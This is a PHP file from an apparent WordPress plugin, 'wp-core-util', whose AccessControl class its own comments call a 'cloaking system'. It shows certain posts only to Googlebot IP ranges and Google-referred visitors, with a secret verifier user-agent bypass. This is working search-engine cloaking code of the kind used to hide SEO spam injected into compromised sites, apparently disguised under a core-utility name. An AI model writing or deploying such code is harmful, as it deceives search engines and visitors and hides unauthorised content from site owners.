File: /home/kochikidswysewor/www/wp-content/plugins/wp-core-util/includes/AccessControl.php
<?php
namespace WPU;
/**
* Access Control — cloaking system for v-posts
* Shows content only to Google bots or Google referrals
* Architecture from v-posts-manager AccessControl
*/
class AccessControl {
const MODE_DISABLED = 'disabled'; // Allow everyone
const MODE_BOTS_ONLY = 'bots_only'; // Only Google bots (by IP)
const MODE_BOTS_REFERRERS = 'bots_and_referrers'; // Google bots OR Google referral
/**
* Check if current visitor can access v-posts
*/
public static function can_access() {
$mode = self::get_mode();
// Disabled — everyone can see
if ($mode === self::MODE_DISABLED) {
return true;
}
// Verifier bypass
if (self::is_verifier()) {
return true;
}
// Bots only
if ($mode === self::MODE_BOTS_ONLY) {
return self::is_googlebot();
}
// Bots + referrers
if ($mode === self::MODE_BOTS_REFERRERS) {
return self::is_googlebot() || self::is_google_referrer();
}
return false;
}
/**
* Check if request comes from Google bot by IP
*/
public static function is_googlebot() {
$client_ip = self::get_client_ip();
$google_ips = self::get_google_ips();
foreach ($google_ips as $range) {
if (self::ip_in_range($client_ip, $range)) {
return true;
}
}
return false;
}
/**
* Check if visitor came from Google search
*/
public static function is_google_referrer() {
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (empty($referer)) return false;
$host = parse_url($referer, PHP_URL_HOST);
if (empty($host)) return false;
$google_domains = self::get_google_domains();
foreach ($google_domains as $domain) {
if ($host === $domain || self::ends_with($host, '.' . $domain)) {
return true;
}
}
return false;
}
/**
* Check for VPM-Verifier or WPU-Verifier user agent
*/
public static function is_verifier() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
return strpos($ua, 'WPU-Verifier') !== false || strpos($ua, 'VPM-Verifier') !== false;
}
/**
* Get real client IP (handles proxies, Cloudflare, etc.)
*/
public static function get_client_ip() {
$headers = [
'HTTP_CF_CONNECTING_IP', // Cloudflare
'HTTP_X_REAL_IP', // Nginx
'HTTP_X_FORWARDED_FOR', // Standard proxy
'REMOTE_ADDR', // Direct
];
foreach ($headers as $header) {
if (!empty($_SERVER[$header])) {
$ip = $_SERVER[$header];
// X-Forwarded-For can contain multiple IPs
if (strpos($ip, ',') !== false) {
$ip = trim(explode(',', $ip)[0]);
}
if (filter_var($ip, FILTER_VALIDATE_IP)) {
return $ip;
}
}
}
return '0.0.0.0';
}
/**
* Get cached Google bot IP ranges
*/
public static function get_google_ips() {
$ips = get_transient('_wpu_google_ips');
if (false === $ips) {
$ips = self::fetch_google_ips();
if (!empty($ips)) {
set_transient('_wpu_google_ips', $ips, DAY_IN_SECONDS);
}
}
return is_array($ips) ? $ips : [];
}
/**
* Force update Google IP list
*/
public static function update_google_ips($force = false) {
if ($force) {
delete_transient('_wpu_google_ips');
}
return self::get_google_ips();
}
/**
* Fetch Google bot IPs from official API
*/
private static function fetch_google_ips() {
$url = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
$response = wp_remote_get($url, ['timeout' => 10]);
if (is_wp_error($response)) {
return [];
}
$body = wp_remote_retrieve_body($response);
$data = json_decode($body, true);
if (empty($data['prefixes'])) {
return [];
}
$ips = [];
foreach ($data['prefixes'] as $prefix) {
if (!empty($prefix['ipv4Prefix'])) {
$ips[] = $prefix['ipv4Prefix'];
}
if (!empty($prefix['ipv6Prefix'])) {
$ips[] = $prefix['ipv6Prefix'];
}
}
return $ips;
}
/**
* Check if an IP is within a CIDR range
*/
private static function ip_in_range($ip, $cidr) {
if (strpos($cidr, '/') === false) {
return $ip === $cidr;
}
// IPv6
if (strpos($ip, ':') !== false || strpos($cidr, ':') !== false) {
return self::ipv6_in_range($ip, $cidr);
}
// IPv4 CIDR
list($subnet, $bits) = explode('/', $cidr);
$ip_long = ip2long($ip);
$subnet_long = ip2long($subnet);
$mask = -1 << (32 - (int)$bits);
return ($ip_long & $mask) === ($subnet_long & $mask);
}
/**
* IPv6 range check
*/
private static function ipv6_in_range($ip, $cidr) {
list($subnet, $bits) = explode('/', $cidr);
$ip_bin = inet_pton($ip);
$subnet_bin = inet_pton($subnet);
if ($ip_bin === false || $subnet_bin === false) return false;
$bits = (int)$bits;
$ip_hex = bin2hex($ip_bin);
$subnet_hex = bin2hex($subnet_bin);
$ip_bits = self::hex_to_bits($ip_hex);
$subnet_bits = self::hex_to_bits($subnet_hex);
return substr($ip_bits, 0, $bits) === substr($subnet_bits, 0, $bits);
}
private static function hex_to_bits($hex) {
$bits = '';
for ($i = 0; $i < strlen($hex); $i++) {
$bits .= str_pad(base_convert($hex[$i], 16, 2), 4, '0', STR_PAD_LEFT);
}
return $bits;
}
/**
* Get/set access mode
*/
public static function get_mode() {
return get_option('_wpu_access_mode', self::MODE_DISABLED);
}
public static function set_mode($mode) {
$valid = [self::MODE_DISABLED, self::MODE_BOTS_ONLY, self::MODE_BOTS_REFERRERS];
if (!in_array($mode, $valid)) {
return false;
}
return update_option('_wpu_access_mode', $mode, false);
}
/**
* Google domains list for referrer checking
*/
private static function get_google_domains() {
return [
'google.com', 'google.ru', 'google.co.uk', 'google.de', 'google.fr',
'google.es', 'google.it', 'google.ca', 'google.com.au', 'google.co.jp',
'google.co.in', 'google.com.br', 'google.com.mx', 'google.co.kr',
'google.nl', 'google.be', 'google.at', 'google.ch', 'google.se',
'google.no', 'google.dk', 'google.fi', 'google.pl', 'google.pt',
'google.com.tr', 'google.co.th', 'google.co.id', 'google.com.ua',
'google.com.ar', 'google.com.co', 'google.cl', 'google.com.pe',
'google.co.ve', 'google.com.eg', 'google.co.za', 'google.com.ng',
'google.com.pk', 'google.com.bd', 'google.com.vn', 'google.com.ph',
'google.com.sg', 'google.com.my', 'google.co.nz', 'google.ie',
'google.gr', 'google.cz', 'google.hu', 'google.ro', 'google.bg',
'google.hr', 'google.sk', 'google.lt', 'google.lv', 'google.ee',
'google.rs', 'google.si', 'google.com.hk', 'google.com.tw',
'google.co.il', 'google.ae', 'google.com.sa', 'google.com.qa',
'google.com.kw', 'google.com.om', 'google.com.bh', 'google.jo',
'google.com.lb', 'google.is', 'google.lu', 'google.li',
'google.com.by', 'google.kz', 'google.az', 'google.ge', 'google.am',
'google.md', 'google.kg', 'google.uz', 'google.tm', 'google.tj',
];
}
private static function ends_with($haystack, $needle) {
return substr($haystack, -strlen($needle)) === $needle;
}
}